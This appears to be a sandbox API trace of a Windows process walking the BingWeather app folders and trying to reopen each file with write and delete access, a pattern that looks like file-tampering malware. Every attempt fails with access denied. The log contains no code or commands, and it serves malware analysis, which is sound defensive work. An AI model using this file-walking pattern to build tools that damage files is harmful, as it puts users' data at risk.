	[0090.688] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.targetsize-24.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.688] GetLastError () returned 0x5
	[0090.688] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0090.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.688] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d3167ef, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d33ca48, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d33ca48, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_LogoSmall.targetsize-256.png", cAlternateFileName="")) returned 1
	[0090.688] wcscmp (_String1="Weather_LogoSmall.targetsize-256.png", _String2=".") returned 1
	[0090.688] wcscmp (_String1="Weather_LogoSmall.targetsize-256.png", _String2="..") returned 1
	[0090.688] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x128) returned 0x2d883a8
	[0090.688] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white"
	[0090.688] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\"
	[0090.688] wcscat (in: _Dest=0x2d883a8, _Source="Weather_LogoSmall.targetsize-256.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-256.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-256.png"
	[0090.689] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.targetsize-256.png")) returned 0x20
	[0090.689] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-256.png", dwFileAttributes=0x20) returned 0
	[0090.690] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.targetsize-256.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.690] GetLastError () returned 0x5
	[0090.690] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-256.png", dwFileAttributes=0x20) returned 0
	[0090.690] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.690] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d33ca48, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d33ca48, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d33ca48, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_LogoSmall.targetsize-32.png", cAlternateFileName="")) returned 1
	[0090.690] wcscmp (_String1="Weather_LogoSmall.targetsize-32.png", _String2=".") returned 1
	[0090.690] wcscmp (_String1="Weather_LogoSmall.targetsize-32.png", _String2="..") returned 1
	[0090.690] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x126) returned 0x2d883a8
	[0090.690] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white"
	[0090.690] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\"
	[0090.690] wcscat (in: _Dest=0x2d883a8, _Source="Weather_LogoSmall.targetsize-32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-32.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-32.png"
	[0090.691] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.targetsize-32.png")) returned 0x20
	[0090.691] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-32.png", dwFileAttributes=0x20) returned 0
	[0090.691] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.targetsize-32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.691] GetLastError () returned 0x5
	[0090.691] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-32.png", dwFileAttributes=0x20) returned 0
	[0090.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.691] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d33ca48, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d33ca48, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d33ca48, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x107, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_LogoSmall.targetsize-48.png", cAlternateFileName="")) returned 1
	[0090.691] wcscmp (_String1="Weather_LogoSmall.targetsize-48.png", _String2=".") returned 1
	[0090.691] wcscmp (_String1="Weather_LogoSmall.targetsize-48.png", _String2="..") returned 1
	[0090.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x126) returned 0x2d883a8
	[0090.691] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white"
	[0090.691] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\"
	[0090.691] wcscat (in: _Dest=0x2d883a8, _Source="Weather_LogoSmall.targetsize-48.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-48.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-48.png"
	[0090.691] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.targetsize-48.png")) returned 0x20
	[0090.692] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-48.png", dwFileAttributes=0x20) returned 0
	[0090.693] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.targetsize-48.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.693] GetLastError () returned 0x5
	[0090.693] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-48.png", dwFileAttributes=0x20) returned 0
	[0090.693] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.693] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d33ca48, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d362ca1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d362ca1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe96, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_SplashScreen.scale-200.png", cAlternateFileName="")) returned 1
	[0090.693] wcscmp (_String1="Weather_SplashScreen.scale-200.png", _String2=".") returned 1
	[0090.693] wcscmp (_String1="Weather_SplashScreen.scale-200.png", _String2="..") returned 1
	[0090.693] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x124) returned 0x2d883a8
	[0090.693] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white"
	[0090.693] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\"
	[0090.693] wcscat (in: _Dest=0x2d883a8, _Source="Weather_SplashScreen.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_SplashScreen.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_SplashScreen.scale-200.png"
	[0090.693] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_SplashScreen.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_splashscreen.scale-200.png")) returned 0x20
	[0090.693] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_SplashScreen.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.694] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_SplashScreen.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_splashscreen.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.694] GetLastError () returned 0x5
	[0090.694] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_SplashScreen.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.694] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.694] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d362ca1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d362ca1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d362ca1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather_TileLargeSquare.scale-200.png", cAlternateFileName="")) returned 1
	[0090.694] wcscmp (_String1="Weather_TileLargeSquare.scale-200.png", _String2=".") returned 1
	[0090.694] wcscmp (_String1="Weather_TileLargeSquare.scale-200.png", _String2="..") returned 1
	[0090.694] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12a) returned 0x4ebc040
	[0090.694] wcscpy (in: _Dest=0x4ebc040, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white"
	[0090.694] wcscat (in: _Dest=0x4ebc040, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\"
	[0090.694] wcscat (in: _Dest=0x4ebc040, _Source="Weather_TileLargeSquare.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileLargeSquare.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileLargeSquare.scale-200.png"
	[0090.694] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileLargeSquare.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_tilelargesquare.scale-200.png")) 

Thread:
	id = 960
	os_tid = 0x1344

	[0082.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x47cbf08
	[0082.398] wcscpy (in: _Dest=0x47cbf08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration"
	[0082.398] wcscat (in: _Dest=0x47cbf08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration\\"
	[0082.398] wcscat (in: _Dest=0x47cbf08, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration\\*"
	[0082.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4715290
	[0082.398] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration\\*", lpFindFileData=0x4715290 | out: lpFindFileData=0x4715290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad79c2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6a10
	[0082.399] wcscmp (_String1=".", _String2=".") returned 0
	[0082.399] FindNextFileW (in: hFindFile=0x46a6a10, lpFindFileData=0x4715290 | out: lpFindFileData=0x4715290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad79c2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.399] wcscmp (_String1="..", _String2=".") returned 1
	[0082.399] wcscmp (_String1="..", _String2="..") returned 0
	[0082.399] FindNextFileW (in: hFindFile=0x46a6a10, lpFindFileData=0x4715290 | out: lpFindFileData=0x4715290*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dbabacb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="configuration.sqlite", cAlternateFileName="")) returned 1
	[0082.399] wcscmp (_String1="configuration.sqlite", _String2=".") returned 1
	[0082.399] wcscmp (_String1="configuration.sqlite", _String2="..") returned 1
	[0082.399] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x2e3b0c0
	[0082.399] wcscpy (in: _Dest=0x2e3b0c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration"
	[0082.399] wcscat (in: _Dest=0x2e3b0c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration\\"
	[0082.399] wcscat (in: _Dest=0x2e3b0c0, _Source="configuration.sqlite" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration\\configuration.sqlite") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration\\configuration.sqlite"
	[0090.634] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration\\configuration.sqlite" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\configuration\\configuration.sqlite")) returned 0x20
	[0090.636] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration\\configuration.sqlite", dwFileAttributes=0x20) returned 0
	[0090.636] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration\\configuration.sqlite" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\configuration\\configuration.sqlite"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.636] GetLastError () returned 0x5
	[0090.637] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration\\configuration.sqlite", dwFileAttributes=0x20) returned 0
	[0090.637] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3b0c0) returned 1
	[0090.637] FindNextFileW (in: hFindFile=0x46a6a10, lpFindFileData=0x4715290 | out: lpFindFileData=0x4715290*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dbabacb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="configuration.sqlite", cAlternateFileName="")) returned 0
	[0090.637] FindClose (in: hFindFile=0x46a6a10 | out: hFindFile=0x46a6a10) returned 1
	[0090.637] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4715290) returned 1
	[0090.637] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cbf08) returned 1
	[0090.637] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ff10) returned 1

Thread:
	id = 961
	os_tid = 0xff8

	[0082.400] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x47c8f20
	[0082.400] wcscpy (in: _Dest=0x47c8f20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images"
	[0082.400] wcscat (in: _Dest=0x47c8f20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\"
	[0082.400] wcscat (in: _Dest=0x47c8f20, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\*"
	[0082.400] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47154f8
	[0082.400] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\*", lpFindFileData=0x47154f8 | out: lpFindFileData=0x47154f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7a6fb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6a50
